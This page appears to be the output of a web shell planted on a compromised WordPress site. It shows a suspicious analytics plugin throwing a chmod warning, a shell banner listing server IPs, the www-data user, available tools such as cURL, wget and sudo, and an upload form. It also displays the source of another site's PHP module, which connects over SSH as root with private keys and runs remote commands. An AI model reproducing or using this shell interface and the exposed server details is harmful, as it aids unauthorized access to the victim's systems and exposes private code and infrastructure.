Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_www/modules/connectionDirect/model/ |
Upload File : |
<?php
use phpseclib3\Crypt\PublicKeyLoader;
try {
require_once __DIR__ . '/connection.php';
// define('NET_SSH2_LOGGING', NET_SSH2_LOG_COMPLEX);
} catch (\Throwable $e) { // php 7
die('Error:' . $e->getMessage() . ' in ' . $e->getFile() . ' at line ' . $e->getLine() . ' [22]');
}
class Connection_Direct extends Connection {
public function EstablishConnection() {
$data = $this->ServerData();
$user = $data->username ?? 'root'; // user to connect as
$this->Log('Establishing a connection');
error_log("Establishing a connection to {$user}@{$data->server_ip}");
$this->ssh = new phpseclib3\Net\SFTP($data->server_ip);
$key = PublicKeyLoader::loadPrivateKey($data->private_key);
if (!$this->ssh->login($user, $key)) {
return -1;
};
return 1;
}
public function GetServerStatus() {
$this->Log('Performing Server Status');
$this->ssh->enableQuietMode();
return parent::GetServerStatus();
}
public function Execute($remotecommand) {
$remotecommand->output = '';
$command = $remotecommand->command();
$script = $remotecommand->script();
$user = $remotecommand->user(); // user to run command as
$prefix = '';
if ($command === FALSE && is_callable($script)) {
$content = call_user_func($script, $remotecommand);
if ($content == '') return; // nothing to execute
// echo "content:"; var_dump($content);
list($prefix, $command) = $this->prepareScript($content, $user);
if (empty($command)) return -3; // script is not to be run this time
// upload to temp folder
// execute: chmod / execute / delete script
}
if ($user !== 'root' && $user != '') {
$data = $this->ServerData();
$env = $data->__env;
if ($env['distro'] == 'ubuntu' && (version_compare($env['rel'], '16.04.00') < 0)) {
// Ubuntu 14.04 ships util-linux 2.20, which does not have runuser (introduced util-linux 2.23)
$command = "su {$user} -s /bin/bash -c '{$command}'";
} else {
$command = "runuser -l {$user} -s /bin/bash -c '{$command}'";
}
}
// echo "command:"; var_dump($command);
$this->Log("\n\n$command\n");
$this->ssh->setTimeout($this->timeout());
$this->ssh->exec($prefix . $command, [$remotecommand, '__callback']);
$remotecommand->error = $this->ssh->getStdError();
$this->Log($this->ssh->getSFTPLog());
// send output back to the callback function
$callback = $remotecommand->callback();
if (is_callable($callback)) {
call_user_func($callback, $remotecommand);
}
$this->LogOutput($remotecommand);
return 0;
}
public function UploadFile($filename, $content) {
$this->ssh->put($filename, $content);
}
}